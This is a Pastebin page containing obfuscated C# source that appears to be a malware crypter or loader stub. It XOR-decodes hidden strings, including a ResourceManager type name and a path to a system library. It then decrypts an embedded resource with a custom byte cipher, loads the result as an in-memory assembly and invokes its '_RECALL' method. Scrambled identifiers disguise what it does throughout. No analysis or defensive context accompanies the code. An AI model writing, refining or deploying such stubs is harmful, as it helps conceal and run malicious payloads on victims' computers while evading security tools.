Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.VisualBasic;
- using Microsoft.VisualBasic.CompilerServices;
- using System;
- using System.IO;
- using System.Reflection;
- using System.Runtime.CompilerServices;
- using System.Windows.Forms;
- namespace ConsoleApp
- {
- public class xYlTiNtYsA : Form
- {
- private static Assembly N領颁顁饄顱;
- private static Assembly N頹餀顠餓馒;
- [STAThread]
- public static void Main()
- {
- checked
- {
- string text = "5SXfak`x|SBfl}`|`i{!AJ[SI}nbjx`}dSy=!?!:?8=8Sb|l`}cfm!kcc";
- string str = null;
- int arg_16_0 = 0;
- int num = text.Length - 1;
- for (int i = arg_16_0; i <= num; i++)
- {
- int @int = (int)(text[i] ^ '\u000f');
- xYlTiNtYsA.USA(ref str, @int);
- }
- byte[] by = File.ReadAllBytes(Strings.Left(Environment.SystemDirectory, 1) + str);
- xYlTiNtYsA.N領颁顁饄顱 = xYlTiNtYsA.HelloCheck(by);
- byte[] array = xYlTiNtYsA._AsmByte(Conversions.ToString(NewLateBinding.LateGet(xYlTiNtYsA.EN(), null, "GetString", new object[]
- {
- "jQlEvBvFpI"
- }, null, null, null)), 11264);
- byte[] array2 = xYlTiNtYsA._AsmByte(Conversions.ToString(NewLateBinding.LateGet(xYlTiNtYsA.EN(), null, "GetString", new object[]
- {
- "uGuMh"
- }, null, null, null)), 15);
- int num2 = (array.Length - 1) * 8;
- int arg_D6_0 = 0;
- int num3 = num2;
- for (int j = arg_D6_0; j <= num3; j++)
- {
- int num4 = j % array.Length;
- byte b = array[num4];
- byte b2 = array2[j % array2.Length];
- int num5 = j + 1;
- int num6 = (int)(b ^ b2);
- int num7 = num5 % array.Length;
- int num8 = num6 - (int)array[num7];
- int intt = num8 + 256;
- array[num4] = (byte)xYlTiNtYsA.GetPlatinum(intt);
- }
- xYlTiNtYsA.RSizeArray(ref array);
- Assembly assembly = Assembly.Load(array);
- xYlTiNtYsA.Phil(assembly);
- xYlTiNtYsA.YT(xYlTiNtYsA.TY(assembly));
- }
- }
- public static void Phil(Assembly AA)
- {
- AA.CreateInstance("A.A");
- }
- public static void USA(ref string peso, int @int)
- {
- peso += Conversions.ToString(Strings.ChrW(@int));
- }
- public static void RSizeArray(ref byte[] src)
- {
- Array.Resize<byte>(ref src, checked(src.Length - 1));
- }
- public static Assembly HelloCheck(byte[] By)
- {
- return Assembly.Load(By);
- }
- public static int GetPlatinum(int intt)
- {
- return intt % 256;
- }
- public static byte[] _AsmByte(string bitString, int size)
- {
- checked
- {
- byte[] array = new byte[size + 1];
- string[] array2 = Strings.Split(bitString, "-", -1, CompareMethod.Binary);
- for (int i = 0; i <= size; i++)
- {
- string value = array2[i];
- array[i] = (byte)Convert.ToInt32(value, 16);
- }
- return array;
- }
- }
- public static Type TY(Assembly asm)
- {
- xYlTiNtYsA.N頹餀顠餓馒 = asm;
- return asm.GetType("A.A");
- }
- public static object YT(Type T)
- {
- return T.InvokeMember("_RECALL", BindingFlags.InvokeMethod, null, RuntimeHelpers.GetObjectValue(xYlTiNtYsA.N頹餀顠餓馒.CreateInstance("A.A")), new object[0]);
- }
- public static object EN()
- {
- checked
- {
- object[] args = new object[]
- {
- "hDhNb",
- Assembly.GetExecutingAssembly()
- };
- string text = "Pzpwfn-Qfplvq`fp-Qfplvq`fNbmbdfq";
- string typeName = null;
- int arg_31_0 = 0;
- int num = text.Length - 1;
- for (int i = arg_31_0; i <= num; i++)
- {
- int @int = (int)(text[i] ^ '\u0003');
- xYlTiNtYsA.__DASM(ref typeName, @int);
- }
- int bindingAttr = 566;
- return xYlTiNtYsA.N領颁顁饄顱.CreateInstance(typeName, true, (BindingFlags)bindingAttr, null, args, null, new object[0]);
- }
- }
- public static void __DASM(ref string Typ, int @int)
- {
- Typ += Conversions.ToString(Strings.ChrW(@int));
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement